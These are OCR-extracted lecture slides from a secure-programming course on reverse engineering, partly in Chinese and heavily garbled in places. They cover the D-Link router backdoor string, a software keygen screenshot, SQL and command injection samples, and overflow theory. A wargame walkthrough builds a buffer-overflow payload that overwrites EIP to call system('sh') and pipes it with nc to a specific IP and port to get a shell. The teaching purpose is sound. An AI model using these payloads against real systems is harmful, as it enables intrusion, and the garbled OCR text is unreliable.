Secure Programming
Reverse Engineering

Week 4



Reverse engineering

Flow of Compilat
Scripting/Interpreted Languages and Dissasembly

Perl, Python, Shell, Java

High/Middle Level Languages

C, C++
(What Most Malware Is Written In)

Assembly Language

Intel X86, etc.
(First Layer of Human Readable Code)

Compiling

Machine Code

Hexadecimal representations of Binary Code Read
By The Operating System

Binary code

Binary code read by hardware
Not Human Readable

Dissasemble




Reverse engineering

« ERBRHBBHBERT
¢ BIEFT
 Z#HIEI (Patch)
» DHTEEX
o {EEL

+ ZIREImIE




backdoor in D-Link router

Backdoor found in D-Link router firmware code

The backdoor could be used to modify a router's
settings -- a dangerous vulnerability

A backdoor found in firmware used in several D-Link routers

could allow an attacker to change a device's settings, a

serious security problem that could be used for surveillance.

Craig Heffner, a vulnerability researcher with Tactical
Network Solutions who specializes in wireless and
embedded systems, found the vulnerability. Heffner wrote
on his blog that the Web interface for some D-Link routers
could be accessed if a browser's user agent string is set to
xmlset_roodkcableo)28840@ybtide.

MORE LIKE THIS

D-Link issues fixes for firmware
backdoor in routers

D-Link's backdoor: What else is in
there?

Vulnerabilities in some Netgear
router and NAS products open door
to remote...

Be a Part of
the Discussion.

Ask and Answer
Questions.

Ctav Infarmad



S ATbinary# 1 & B 12 P9

nction name if(strncasecmp(header, "User-Agent:", strlen("User-Agent:")) != NULL)
alpha QoS appMode IP handler {
alpha_QoS_appMode_Mac_handler http_request_t->0xD@ = header + strlen("User-Agent:") + strspn(header, " \t");
alpha_QoS_appMode_Proto_handle }
alpha_QoS_portBase_lanPhy
f| alpha_QoS_portBase_wanPhy
7] alpha_QoS_type
7] alpha SetBridge define AUTH FAIL -1
f| alpha addFlowToLimitedQueue wit
int alpha_auth_check(struct http_request_t *request)
alpha httpd parse request {
alpha_init if(strstr(request->url, "graphic/") ||
alpha_internal_function strstr(request->url, "public/") |
alpha_upload d strcmp(request->user_agent, "xmlset_roodkcableoj28840ybtide") == 0)
f| alphafs_check_header {

7] alphafs_cp_Files return AUTH OK;

f| alphafs_domount }

else

7] alphafs flashwrite

7| alphafs read {

hake ke

// These arguments are probably user/pass or session info
if(check_login(request->0xC, request->@xE@) != @)
{

}

return AUTH_OK;

}
return AUTH_FAIL;

http://www.devttysO.com/2013/10/reverse-engineering-a-d-link-backdoor/



http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/

Patch - % YtiEiE

+ Z2X
. EFFIE
. je > jnz
s BRIBRE

* call -> nop

[ g%iﬁgl O

e mov eax, 1 -> mov eax,0

HE

40101F . 0F85

SEQ0000C 1

JNZ 00401083
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' Windows Keygen

Product Family

Vindows XP Pro.

Product ID range
From

Random Seed

F6PV7-TUZTH-VBY76~
FEGDQ-9YSFP-WJI4QY-
WYWeR-COKHF-9FVVT -

OYY-N63 6QKE -
B84PT-6HZKJI ~X6GKM -
BDPDN-V4K93-N77DJ -
KSDPD-PT768H-CF76R~
BBY7P-oKIXY-C6RDJ -
YJDSE-C ZBRCY -
QSTBP~-DRDFG~8KKJ 4~
TDFVN-MQY6 3K~
FBP4Z-CFGBQ-4K4PY -
DZ2TJJ-JHOCD-FHH7R-

GHMCH-JP

337CX-B
GT4JV-
G6C8F-El
YYHMS-§
GVB7Q-8FK
DG3C4-TDVGH
¥78YY-THQPQ
QR4MD -MRVEE
YQDaM-7QREW
HVHMS99~-8BGFB
Q79CD-2WEQ0
DPHKF-43T96
COV3IK-NTDSY
GTDT-7QD38G
5=FTDAT

Génerate




EmX - Cheat Engine
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strace / ltrace
pseudo code
sandbox / process monitor

run it! and fuzz



=555

e [njection
e Qverflow

e Race Condition

» EEERE




Injection

« SQL Injection

SELECT UserList.Username
FROM UserList

WHERE UserList.Username 'Username'’
AND UserList.Password 'password]’ OR

« Command Injection

<?php

echo shell exec('cat '.$ GET[ filename ]);

?>




Overflow

* Overtlow
* integer overflow
e stack overtlow
* heap overflow

e Off-by-one overflow



Race Condition

o FHE—&JE/RF i Ecritical section

add $100

$782.007 ) $782.00 AA $882.00

get

$782.00

\,{? $782.00.__1>$782.00 _17$982.00 ﬁ




18 BE I

o ZERXNIEFRTIER

o “THHERE — T8 FERKR WRERFE

s BFRT T —RETER




e - BEREG

» KRfE—HRBEEEFEAZERER

« EEBANEE) Z B

i

- 5 AR ==BEHA H|&N ABEEMEKk, NEBEARAHE
« 7 AR |=BEHE MEALRR

« 5 B AT, AlER EEZHT BiF

o [B]e27
 https://gist.github.com/cfc4n/b7d794d3cb663dd86aad



https://gist.github.com/cfc4n/b7d794d3cb663dd86aad

i1 A PR )

» WIRIZEINREFUTEI B RIRRIHLTS

¢

*

¢ ﬁ*ﬁ*ﬁﬁgﬁ-ﬂ?ﬁ:;ﬁ%ﬁ [PC: True)] X=i1, Y=i2
v

[PC: True] X>807

. TRH é—mféf_ —

(gdb) info stack [PC: X>80] X=Y*2,Y=0| | [PC: X<=80) X=0,Y=0
#) Oxb7feld24 in __kernel_vsyscall ()
#1 Oxb7f27463 in read () from /1ib/1386-11inux-gnu/ +
#2 Oxb7ecddab in _I0_file_underflow () from /lib/i (PC: X>80] X==2567
#3 Oxb7ecf64b in _I0_default_uflow (O from /1ib/iZ T

#4 Oxb7edda78 in __uflow () from /1ib/i386-1inux-¢ 6—‘—*

#5 Oxb7ec3b9c in _I0_getline_info (O from /1ib/i3§

AT CTEEeE o MR L (ORI R LI O IR S LIVARJARLLMIRY (P X >80 & X == 256] | [PC: X>80 & X I= 256)
#7 Oxb7ec2b2a in fgets () from /1ib/i386-1inux-gnu

#8 0x08048ce3 in 77 O + +
#9 Oxb7e77e46 in __libc_start_main () from /lib/i
#10 0x08048701 in 7?2 O

(gdb) |

return True 1 return False



» BAESHIRE
- Filter

e Authenticate

« RRIRE
 Memory permission
e Read write permission

e Data Execution Prevention
e Stack guard

 ASLR
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o PR
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« EEMIEMNE

 NULL Point

o R EIP




Y EAEL 1/2

_/:/___vl- /= 'éE;E'n':I:ﬂ - - *fpe
55 /\’fT fg etls Ena £) bUfj:/J\ : ot 4 :pé, auth = 0;
? char buf[8];

buff€m A& i, auth »s

if ((fp = fopen("/passwd", "r")) == NULL) {
printf(“fopen error!\n");

overflowf&m4%E® i, auth =, ™"

fgets(pass, sizeof(pass), fp);

15 pass[strlen(pass)-1] = "\@';
16
o A= = . — 1 for ( 1 1< strlen(buf), ++1)
ZE# 1> len ; auth = 1 LA e
19 return 1;
20 if ('strcmp(buf pass))
/ -l.-;- — 1-
> AN\ 22 if Cauth = 1 8& buf[0] = '0'){
l%;:%i@_ password */QR.E. 23 71 Lusnigs tuouty;
24 system("/checkin");

25 }



YR8 2/2

* Hitcon 2010 Wargame

e http://secprog.cs.nctu.edu.tw/files/goomo.exe

10

W LR 2R S B - 520 B ZE 900000043 | (https:///win/Q1 rar)

» Cheat Engine & £#(% http://ppt.cc/mw~K
SR PHI5 FH key

®
-
I}
=4
cud
Zf
=
-—l I

l




R N VA=

e Overwrite Pointer

» Memory Leak , BEUE &R &

» & GOT Entries , #%F Library Function

cychao@ubuntu: /www/secproc/public/files$ objdump -R simpleshell

simpleshell: file format elf32-1386
DYNAMIC RELOCATION RECORDS

OFFSET  TYPE VALUE

0804a4b4 R_386_GLOB_DAT —gmon_start__
08040520 R_386_COPY stdin

08040540 R_386_COPY stdout

0804a4c4 R_386_JUMP_SLOT stramp
0804a4c8 R_386_JUMP_SLOT printf
0804a4cc R_386_JUMP_SLOT  fflush
0804a4d0 R_386_JUMP_SLOT fgets

0804a4d4 R_386_JUMP_SLOT fclose
AROAAAAR D 29C UMD CIOT  +<ime



NULL Pointer

 Null pointer SEEREF A B kernel IFFELF

o User space
* Allocate memory at 0x00000000
» Define function

o Kernel Space
o EHETIME function pointer

e kernel space FEAY 0x00000000 , FX I exploit



] EIP

o TR EIP %, AT BUERIZ IR,

* Shellcode
« BIARGHRI
o FRAMAY




A Magic 23

L}j Functions window

EIVEHITRIE
* main -> magic -> do_magic

e ZFIEERT( -> never use

.text:B804868D never_use

return system{"'sh -1");

Function name

I
I
i

by
by
by
b
I
I
by

_srand

_strlen
__libc_start_main
_rand
___i50c98 scanf
_start
_x86_get_pc_thunk_bx

deregister_tm_clones
register_tm_cl ones

_do_global_dtors_aux

| frame dummy

‘m_aln

hever ‘U’fe -

do_magic
magic

=

IC C"U Iﬂl

_I|bc_csu_ Ini
_term_proc




IR 1]

Overwritten data (bytes

e Use unsafe function - scant

Caller

Frame

Saved %eip is now
replaced with a new
address (0834FDA4C)

Frame pointer
%ebp

{-

Buffer overflow is
exploited by writing
more data than its
size (size as declared
by the high level
language and

allocated by the Variables

runtime)

O
<
-
)
3
»

is0c99 scanf({'%s", &s);
strlen{&s);

do_magic{&s, vi);

return printf{"as", &s);

Argument

Stack pointer Build

¥esp




Overwrite EIP

ErEq1E overflow HUtth 75 ER%R stack [&;

cychao@ubuntu:~$ gdb -q ./magic

;KA

. . . : 08048687 , [ebp+
Rending.symbale frnom  /magic...(no debugging symbols found)...done.}] - 88848680 Ei:p,ﬁi,peii
(gdb) b *0x08048695 . : 08 0486 8E dword ptr [esp
Breakpoint 1 at uxsvd8695 - —_1s0c99_scan
(gdb) r <<< perl -e 'printf "a"x100" : ;gggzgggg Eg:B][QEE;S]
Starting program: /home/cychao/magic <<< perl -e 'printf "a"x100' § - 98648600 _Strlén
Welcome to Magic system! . 108 0486A5 [esp+4], eax
Give me your name(a-z): Your name is perl. - - 686486A9 eax, [ebp+s]

. . . . :980486AC [esp], eax
Give me something that you want to MAGIC: ] - 88 D48 6AF do_nagic

annk?ﬁi”+ 1’ 202048695 1n magiC ()
(gdb) x/64x $esp

=0
. Ao AE T

EH#

£l Return Address

* input B xor , MIAEEKITEENE



ZmfhE 1 -8 Key

I Time 1EB seed &

1T
Pl
O

N\
(D
<<

o= T int __cdecl do_magic{int a1, int a2)
Time — ol
Uﬂgigntd i“; UZ; ff - ik
char v3; 7/ s10@2
=| int result; /7 eaxl
WK int i: 77 [SpH1C

Jd

» HH 1A

[ 5y

7/

Fa 3
INEE

|
~

= time({8);
srand{v?);

for ( = 05 3

Give me something that you want to MAGIC: a

[wargame2 [/home/wargame/levell] -cychao- % nc 140.113.
Welcome to Magic system!

Give me your name(a-z): aaaaaaaaaaaaaaaaaaaaaaaaaaaad
Your name is aaaaaaaaaaad.

Give me something that you want to MAGIC: ? ﬁKﬁ)'ﬁFEE

?




B BEE O - o144 reference

e strlen definition

strien

size t strlen ( const char * str );

<cstring>

Get string length

Returns the length of the C string str.

The length of a C string inating / ‘ _' ‘, C string is as long as the number of
characters between the DEgHRMGOrY S T e g U™ tharacter (without including the terminating

null character itself).

e scant %s

Any number of non-whitespace characters stopplng_at-the Frst whlvtespace character
found. A terminating null character is autoriiati ‘ < v
sequence.

\E\N \v \F\r




JmiEF F - concept

« FH %00 #B§ xor encoding

o 5TH overflow E & ZF Return Address Bl byte

o
HY
0

] EIP BkEI2 EEFHY system(sh) - never_use

e never_use(): 0x0804860D

text:0804866D ; Attribute
.text:08048608D

S: bp-based frame
® ;ﬁ%ﬁ:ﬁ OD , pUSh ebp Z:EE% .text:0804860D public never_use
-.text:0804860D never_use proc near
-Lext:08048606D push ebp

A -text:0804866E mov ebp, esp
+€I::ZEJEZ{J r gl’:-l/]j:b \ text:08048610 sub esp, 18h
° / - - P>
Z L2 YVIHY .text:08648613 nov dword ptr
.text:0804861A call _system

.text:0804861F leave
text:08048620 retn




A F| H - payload

Payload = ™
Payload += “A" * 777

Payload += “\x00”

Payload += “\XOE\x86\x04\x08"

cat Payload | nc 140.113.208.235 6666



JriEF] A - shellout

« Exploit BTN, BEETIES?

L o

wargame2 [/home/cychao] -cychao- % cat magic.exploit | nc 140.113.208.235 6666
Welcome to Magic system!

Give me your name(a-z): Your name 1S aaaaaaaaaad.

Give me something that you want to MAGIC: sh: @: can't access tty; job control turned off
$

145 inputE socket #E E

» HscriptiX payload

o T2 FH—%bash trick

» (cat exploit && sleep 1 && echo “id”) | nc

» cat exploit - | nc 140.113.208.235 6666



Antl disassembler

e Remove useless information
 Code obfuscation (f£¥5%)

e Pack (f0%%) - windowsEk %



Remove Useless information

e Strip - remove symbol table

* Objcopy - remove unneeded segment

e #objcopy -R .comment -R .note.ABl-tag -R .gnu.version

- | _start

| deregister_tm_clones

| register_tm_clones
_do_global_dtors_aux

| frame_dummy

F| parseCmd

| doHelp

| dolnfo

| doLogin

f| doLogout

| doFlag

F| doExit
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- | welcome
it
| main

" _libc_csu_fini
“|_libc_csu_init

F| __i686_get_pc_thunk_bx
F| _term_proc
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" | _term_proc



fEIe< 1/2

« FH jmp, branch, call, ret F6$HFHITABFTEL

1 .text:004010D8 jz short near ptr loc_4010DC+1
1 'Z @F 2 .text:004010D8
J 3 .text:004010DA jnz short near ptr loc_4010DC+1
: 4 .text:004010DA
2 an @F 5 .text:004010DC
3 db 0E8h 6 .text:004010DC loc_40100C: . CODE XREF: .text:004010
7 .text:004010DC ;. text:004010DA)
4 @:I 8 .text:004010DC call near ptr 4050(649h
9 .text:004010E1 add al, chj
1 myjmp proc 1 public start
2 pop eax
S o 2 start proc near
4 push eax 3 mov ecXx, QAN
;my;:; ondo 4 call sub_401167
=) S 5 mov ebx, @C1B8D6A8h
8 mov ecx,offset aaaa 6 out d)(, al
9 call myjmp
10 db 'Deadbeef and Junk..... ; /7 retn oCzZDZh
11 aaa(i; normal assembly 8 start endpl



http://www.pediy.com/kssd/pediy09/pediy09-324.htm

TLFE< 2/2

o F—ERESIRKZEE<S BE Hpush pop,
pointer

push ebx

mov ebx,esp

push ebp

mov ebp, 00000004

add ebx,ebp

pop ebp

sub ebx, 00000004

xchg ebx,[esp] <- here
pop esp

10 mov [esp],edxf}

e push edx =>

Ooco~NOYUL P WNPE



Packer (J1%%)

o FFIRABFEINER B4R, M1 E—Eloader
o IRSKISRIZIVE AR
o HITHFLoaderiF MBI AR R IRIE Memory

d K




Antl-anti-adisassembler

€® Edit function

Name of function getline|
Start address text.08048DEA

nd address text:08043DEE
End addres: g Does not retum

Color DEFAULT Far function
Library func
Enter size of (in bytes) Static fone

;.I;C’Y‘-': -~ Ctri+U . aed frame
printf : - Local variables area BP based frame
o o BP equals to SP

Mush
fgets
fclose
time i Modify fikers Ctrl+Shift+F

perror ) I—)U‘rg"d b}ftES
strepy AGC breskpomt

puts

Saved registers

f
-
y
-
y
-
y
-
f
-
y
-
f
-
y
-
f
—
y
g
1
-
y
-
y
-
y
—-
y
-
y
-
y
-
f
—-
f
-
f
-
f
-

Frame pomter delta

»




Anti-anti-disassembler - TEf§<

» HIEIEERECHREIRIE RIDHE

.text:08048AAE pop ebx

.text:08048AAF pop esi
-text:-08048ABO pop ebp
.ftext:08048AB1 jmp loc_8048D72
text:08048AB1 ; - ———————————
.text:08048AB6
[ Copy Ctrl+C

.text:08048ABA :
_text:08048ABA - S Abort selection Alt+L
_text-883648ABA [@ Analyze selected area C
.text:08048ABA : Attributes: il]l basei
_text -068648ABA ’i?] Use standard symbolic constant M
text:08048ABA sub SO048ABA proc | y:1locC

- 1 2223 H
.text :08048ABA push |[io| 233
.text:08048ABB mouv ?E] 3510

.text:-08048ABD mov



Anti-antl disassembler

» KERARZINEAE(OEP)

. Ex 21 2E¥E OEP , Dump binary

crackme2 exe - [*CP.U* - main thread, module crackme?2]

Viey Debug "I gins | Options Window Help

Qulx JJ %  1800kmarks » xjwincl 7| k|B|R|.| S| |5 ?)

[

|

0C

il S v - Vv y

0f 86 N (gdb) info proc map

00401189 j process 32076

0040118E Mapped address spaces:

00401190

00401192 . — Start Addr End Addr Size Offset objfile

00401194 [ Ox8043000 0x8040000 0x2000 0 /home/cychao/ctf/nctu/mwl/simpleshel l

00401142 0x8040000 Ox804b000 0x1000 0x1000 /home/cychao/ctf/nctu/iwl/simpleshell

00401149 @xb7e60000 @xb7e61000 2x1000 0

ananITaR Oxb7e61000 Oxb7fbdddd  @x15c000 ) /1ib/1386-11inux-gnu/i686/amov/1ibc-2.13.50
@xb7fbdddd Oxb7fbeddd 0x1000 @Ox15c000 /11b/1386-11nux-gnu/1686/amov/1ibc-2.13.s50
@xb7fbeddd Oxb7fcO000 Ox2000 @Ox15c000 /1ib/1386-11nux-gnu/1686/amov/1ibc-2.13.50
Oxb7fc0000 Oxb7fc1000 0x1000 ©@x15e000 /1ib/1386~-11nux-gnu/1686/amov/1ibc-2.13.50
Oxb7fc1000 Oxb7fc4000 0x3000 0
Oxb7fddod@ Oxb7fel000 Ox4009 %)
xb7fel000 Oxb7fe2000 2x1000 0 [vdso]
Oxb7fe2000 Oxb7ffeddd Ox1c00d 0 /11b/1386-11nux-gnu/1d-2.13.s0
Oxb7ffeddd Oxb7ff 000 0x1000 0x1b000 /1ib/1386-11inux-gnu/1d-2.13.50
Oxb7ff 000 Oxb80OOOD 0x1000 0x1c000 /1ib/1386-11inux-gnu/1d-2.13.s0
Oxbf fdfo00 Oxcod00d00 0x21000 0 [stack]

(gdb) dump memory raw.bin 9x08243000 Ox0804b000
(gdb) quit



Anti-antl disassembler - others

e Binary Patch

o FRFERIESPatchiz® sk Bk

e Use unpack tool

o« DMTIFERFA I - PEID
« BRI AR AR LE

e aspack,upx....



Antli Debugger

Detect Software Breakpoints (scan code run time)
Self Moditying Code (Pack)

Find Debug Process

Find Debug symbol / structure

Add exception in program (inline Oxcc)



Binray Patch - assembler

° iﬁiﬁ%ﬁ?%?é>}{_Jf§3E§A;JL» Eré?n

o MHIATLIZEERAY, ZE M 0x90

fc%chao@CatKall ~/ctf/nctu/hwl$ cat test.s

= (in i386)

Z<|II<|

'cyc?ao@CatKaI1 ~/ctf/nctu/hwl$ nasm test.s & & xxd -p test
66b800000000
cychao@CatKali:~/ctf/nctu/hwi$ |}

dCatKali:~/ctf/nctu/hwl$ cat test.s

e haoBCaTRaTL :~/ctf/nctu/hwl$ nasm test.s && xxd -p test
b80000
cychao@CatKali:~/ctf/nctu/hwis |



Binary Patch - hexedit

» MEBEBMIECHNUE

08 048A65 74 20 C7
08048A75 AS 64 68
8D
FB

-08048A73 mov eax, ds:stdout
08 048A78 mov [esp], eax
:08048A7B call fflush

- B8
-08048A8H mov eax, OFFFFFFFFhQ . Q
- 08048A85 jmp short loc_8048AAR7
:08048A87 ;

:08048A87

C7
08

. P16 ARERILEHIES




Catch up

 Why Reverse Engineering
* How to exploit with reverse engineering

* Defense reverse engineering



Next week

||n1I|

L BR B R R I3 iy

e Jainted Analysis
e Fuzz

* Symbolic execution



